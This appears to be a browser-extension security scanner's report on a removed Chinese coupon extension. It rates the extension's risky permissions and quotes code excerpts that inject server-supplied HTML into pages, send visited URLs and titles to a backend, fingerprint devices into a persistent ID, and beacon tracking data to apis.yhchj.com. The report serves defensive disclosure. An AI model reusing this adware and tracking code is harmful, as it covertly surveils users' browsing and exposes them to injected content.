萤火虫惠聚

ID: lcennhffgcjlaekmhmlfaeblfeamkeko

Could be malicious

Supported Languages

🇨🇳Chinese (Simplified)

Extension Info & Metadata

Status
Removed
Version
1.0.2
Size
0.79 MB
Rating
1.0/5
Reviews
3
Users
800,000
Type
Extension
Updated
Jan 12, 2023
Category
Lifestyle Shopping
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
leiw7958View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
800,000

当您在京东等电商平台浏览商品详情页时,为您获取该商品的优惠券,领取优惠券后下单立减。

萤火虫惠聚专注于提供全面、优质的数字权益商品及服务,商品主要覆盖视频会员、文娱会员、虚拟卡币、生活服务、营销组合、知识教育、游戏会员/道具、手机话费/卡号等方面,让用户享受到海量充值优惠,使用户每一次充值更超值。充值想优惠,就上萤火虫。快来www.yhchj.com,享受更多折扣优惠。 插件功能:点击萤火虫右上小图标,萤火虫插件主界面展示。点击商品图片可进入萤火虫官方商城开始优惠充值,点击访问萤火虫官网首页按钮可进入萤火虫官方商城享受海量充值优惠,还设有为您推荐板块,以及抢购板块,更多优惠按钮,点击之后即刻享受充值优惠。

Item
Type
Severity
Description
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation• 15% increase: Older manifest version lacks modern security controls
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.

The extension treats server responses as trusted instructions, parses each item, and directly injects `item.html` into arbitrary page DOM locations chosen by the server. This enables remote UI/script-capable markup injection into visited sites, which is a strong adware/code-injection pattern.

js/contentScript.js (Line 66)
if (adResult && adResult.result.data) {  for (var item of adResult.result.data) {    if (!item) {      continue;    }    item = JSON.parse(item)    // if (item.domheight) item.domheight = Number(item.domheight)    // if (item.domwidth) item.domwidth = Number(item.domwidth)    // if (item.domheightmax) item.domheightmax = Number(item.domheightmax)    // if (item.domwidthmax) item.domwidthmax = Number(item.domwidthmax)    // console.log(item)    if (item.type && item.type == 3) {      var _patt = /\?/g      if (_patt.test(item.html.href)) {        item.html.href = item.html.href + '&ref=' + uuid + '_3_' + _id      } else {        item.html.href = item.html.href + '?ref=' + uuid + '_3_' + _id      }      chrome.runtime.sendMessage({        type: 'notification',        data: item.html      }, sendMsgResult => {      })    } else if (item.type && item.type == 1) {      const closeTimerLabel = await getStorage(item.closeTimerLabel)      if (!closeTimerLabel) {        $(item.parentDom)          .append(item.html) // 插入广告到页面上

On matched pages, the content script collects the full tab URL, page title, a persistent UUID, and stored browser/version metadata, then sends it to the backend. Because the extension runs on `<all_urls>` at `document_start`, this becomes broad browsing telemetry collection rather than a narrowly scoped coupon feature.

js/contentScript.js (Line 41)
let yhc_get_type = '/yhc'let uuid = await yhc_get_uuid(yhc_get_type)let base64 = window.btoa(encodeURI(response.sender.tab.url))while (base64[base64.length - 1] === '=') {  base64 = base64.substring(0, base64.length - 1)}let dataOtherQuery = {},  otherQuery = await getStorage('otherkey')if (otherQuery) {  dataOtherQuery = {    ...otherQuery  }}chrome.runtime.sendMessage({      type: 'post',      url: '/yhc',      data: {        current: randomString(2) + base64 + randomString(2),        id: _id,        title: response.sender.tab.title,        uuid,        ...dataOtherQuery      }    }, async (adResult) => {

The background page stores an externally supplied URL and opens it when the notification is clicked. Since notifications are populated from message data originating in server-driven ad objects, the backend can push arbitrary click-through destinations and social-engineered lures to users.

js/background.js (Line 56)
chrome.notifications.getAll(notifications => {  if (notifications.yhc_sys_message) {    chrome.notifications.clear('yhc_sys_message', () => {      chrome.notifications.create('yhc_sys_message', _data, () => {        GLOBAL_SYS_HREF = _href      })    })  } else {    chrome.notifications.create('yhc_sys_message', _data, () => {      GLOBAL_SYS_HREF = _href    })  }})}sendResponse({  sender})return true;}});// 监听点击通知消息chrome.notifications.onClicked.addListener(notificationId => {      if (notificationId === 'yhc_sys_message' && GLOBAL_SYS_HREF) {        window.open(GLOBAL_SYS_HREF, '_blank')

This fingerprinting code enumerates high-entropy browser/device features such as plugins, canvas output, WebGL characteristics, and anti-spoofing signals. Those signals are commonly used to build resilient device fingerprints for tracking users across sites and sessions.

js/fp2.js (Line 1614)
key: 'plugins',  getData: pluginsComponent}, {  key: 'canvas',  getData: canvasKey}, {  key: 'webgl',  getData: webglKey}, {  key: 'webglVendorAndRenderer',  getData: webglVendorAndRendererKey}, {  key: 'adBlock',  getData: adBlockKey}, {  key: 'hasLiedLanguages',  getData: hasLiedLanguagesKey}, {  key: 'hasLiedResolution',  getData: hasLiedResolutionKey}, {  key: 'hasLiedOs',  getData: hasLiedOsKey

The extension hashes fingerprint components into a stable `uuid`, stores it in local extension storage, and immediately reuses it for tracking events. This creates a persistent identifier that survives page navigations and enables long-term user correlation.

js/fp2.js (Line 1847)
chrome.storage.local.get(['uuid'], (result) => {      if (!result.uuid) {        var t = Math.round(new Date());        Fingerprint2.get(function(components) {          var myArray = new Array();          for (var i in components) {            myArray.push(components[i].value);          }          var murmur = Fingerprint2.x64hash128(myArray.join(''), 31);          chrome.storage.local.set({            uuid: murmur + '.' + t          }, () => {            console.log('保存uuid成功!');          });          if (!onlyNeedUid) {            let _err = {}            if (err) _err.err = err            yhc_track({              tid,              uuid: murmur + '.' + t,              eid,              cid,              ..._err            })          }          resolve(murmur + '.' + t)        });      } else {

Tracking data is exfiltrated through a beacon image request to `https://apis.yhchj.com/ep.gif`, with all query fields appended into the URL. This is a covert analytics pattern that avoids normal XHR visibility while transmitting the persistent UUID and event metadata.

js/fp2.js (Line 1783)
Fingerprint2.log = async function(query) { //url - 广告请求链接  var img = new Image(); //new Image实例  var r = [];  var otherQuery = await getStorage('otherkey')  query = {    ...query,    ...otherQuery  }  for (var i in query) {    r.push(i + "=" + query[i]);  }  img.src = __yhc_track_url + '?' + r.join("&"); //利用image src加载url实现曝光统计}

By severity

Critical4
High8
Medium2
Low0

Versions scanned

Showing 2 of 11 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.1.18
1.0.26

Files with findings

5 distinct paths — top paths by unique finding count:

  • js/contentScript.js4
  • js/utils.js4
  • js/fp2.js3
  • js/background.js2
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/contentScript.js (line 1)Arbitrary HTML returned by the remote server at /yhc is directly injected into the current page's DOM via jQuery append. The injected content (floating ad overlays, iframe-based ads) is entirely server-controlled and …
2Code Injection
critical
js/contentScript.js (line 66)The extension treats server responses as trusted instructions, parses each item, and directly injects `item.html` into arbitrary page DOM locations chosen by the server. This enables remote UI/script-capable markup in…
3Data Exfiltration
critical
js/contentScript.js (line 1)On every page load where the URL matches the server-controlled target list, the content script base64-encodes the full current page URL (window.location.href including path and query parameters) and the tab title, the…
4Unauthorized Data Collection
critical
js/utils.js (line 1)The extension fetches the user's external IP address from the remote server at https://apis.yhchj.com/ip, then combines it with a full browser fingerprint (canvas, WebGL, fonts, userAgent, screen resolution, timezone,…
5Phishing
high
js/background.js (line 56)The background page stores an externally supplied URL and opens it when the notification is clicked. Since notifications are populated from message data originating in server-driven ad objects, the backend can push ar…
6Remote Code Loading
high
js/utils.js (line 1)The extension periodically calls the remote /version endpoint, sending browser type, extension version, geographic area, and IP address. The server responds with a dynamic URL target list that controls which websites …
7Tracking
high
js/utils.js (line 1)The fp2Log function uses a 1x1 pixel image beacon (new Image; r.src = EpUrl + params) to silently transmit tracking data to https://apis.yhchj.com/ep.gif. The yhc_track function fires this beacon with a user UUID, tim…
8Tracking
high
js/utils.js (line 1)The getStat function assembles a telemetry payload containing the persistent UUID, browser type (bid), extension version (vid), plugin/product version (pid), event ID (eid), and timestamp, then sends it via GET to the…
9Tracking
high
js/fp2.js (line 1847)The extension hashes fingerprint components into a stable `uuid`, stores it in local extension storage, and immediately reuses it for tracking events. This creates a persistent identifier that survives page navigation…
10Unauthorized Data Collection
high
manifest.json (line 29)The content script runs at document_start (before DOM is built) on every HTTP and HTTPS page across all frames, with broad host access to all URLs. The exclusions notably carve out Chinese government sites (.gov.cn) a…
11Unauthorized Data Collection
high
js/contentScript.js (line 41)On matched pages, the content script collects the full tab URL, page title, a persistent UUID, and stored browser/version metadata, then sends it to the backend. Because the extension runs on `<all_urls>` at `document…
12Unauthorized Data Collection
high
js/fp2.js (line 1614)This fingerprinting code enumerates high-entropy browser/device features such as plugins, canvas output, WebGL characteristics, and anti-spoofing signals. Those signals are commonly used to build resilient device fing…
13Tracking
medium
js/background.js (line 1)On extension install, a beacon fires to apis.yhchj.com/ep.gif with campaign ID 31, browser type, and a timestamped UUID, registering the new install with the tracking server. chrome.runtime.setUninstallURL is also set…
14Tracking
medium
js/fp2.js (line 1783)Tracking data is exfiltrated through a beacon image request to `https://apis.yhchj.com/ep.gif`, with all query fields appended into the URL. This is a covert analytics pattern that avoids normal XHR visibility while t…
URLs
31
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fontello.comcreated-http://fontello.comCreated
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
ns.adobe.com/photoshop/1.0/http://ns.adobe.com/photoshop/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceEventhttp://ns.adobe.com/xap/1.0/sType/ResourceEvent#
api.yhchj.com-https://api.yhchj.com
stackoverflow.com/questions/46363048/onaudioprocess-not-called-on-ios11https://stackoverflow.com/questions/46363048/onaudioprocess-not-called-on-ios11#46534088
github.com/fingerprintjs/fingerprintjs/issues/375https://github.com/fingerprintjs/fingerprintjs/issues/375
Showing 1 to 10 of 40 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 20 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.